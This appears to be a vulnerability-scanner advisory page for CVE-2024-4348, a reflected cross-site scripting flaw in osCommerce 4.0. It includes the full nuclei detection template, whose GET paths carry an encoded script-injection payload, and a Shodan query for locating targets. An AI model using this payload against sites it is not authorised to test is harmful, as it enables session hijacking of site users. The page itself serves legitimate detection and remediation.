osCommerce v4.0 - Cross-site Scripting

mediumseverity

4.3CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

A vulnerability, which was classified as problematic, was found in osCommerce 4. Affected is an unknown function of the file /catalog/all-products. The manipulation of the argument cat leads to cross site scripting. It is possible to launch the attack remotely.

Impact

Attackers can inject malicious scripts via the cat parameter, potentially compromising user sessions.

Fix

Update osCommerce to a version later than 4.0 that patches the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/furniture/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1 ; GET {{BaseURL}}/watch/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1
Positive when: contains "<ScRiPt>alert('document_domain')</ScRiPt>" and "Listing of all products on the site" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-4348 -u <target>

The full check

id: CVE-2024-4348

info:
  name: osCommerce v4.0 - Cross-site Scripting
  author: s4e-io
  severity: medium
  description: |
    A vulnerability, which was classified as problematic, was found in osCommerce 4. Affected is an unknown function of the file /catalog/all-products. The manipulation of the argument cat leads to cross site scripting. It is possible to launch the attack remotely.
  impact: |
    Attackers can inject malicious scripts via the cat parameter, potentially compromising user sessions.
  remediation: |
    Update osCommerce to a version later than 4.0 that patches the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/178375/osCommerce-4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4348
    - https://vuldb.com/?ctiid.262488
    - https://vuldb.com/?id.262488
    - https://vuldb.com/?submit.320855
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-4348
    cwe-id: CWE-79
    epss-score: 0.01828
    epss-percentile: 0.79019
    cpe: cpe:2.3:a:oscommerce:oscommerce:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"osCommerce"
    product: oscommerce
    vendor: oscommerce
  tags: packetstorm,xss,rxss,oscommerce,cve2024,cve,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/furniture/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1"
      - "{{BaseURL}}/watch/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<ScRiPt>alert('document_domain')</ScRiPt>"
          - "Listing of all products on the site"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from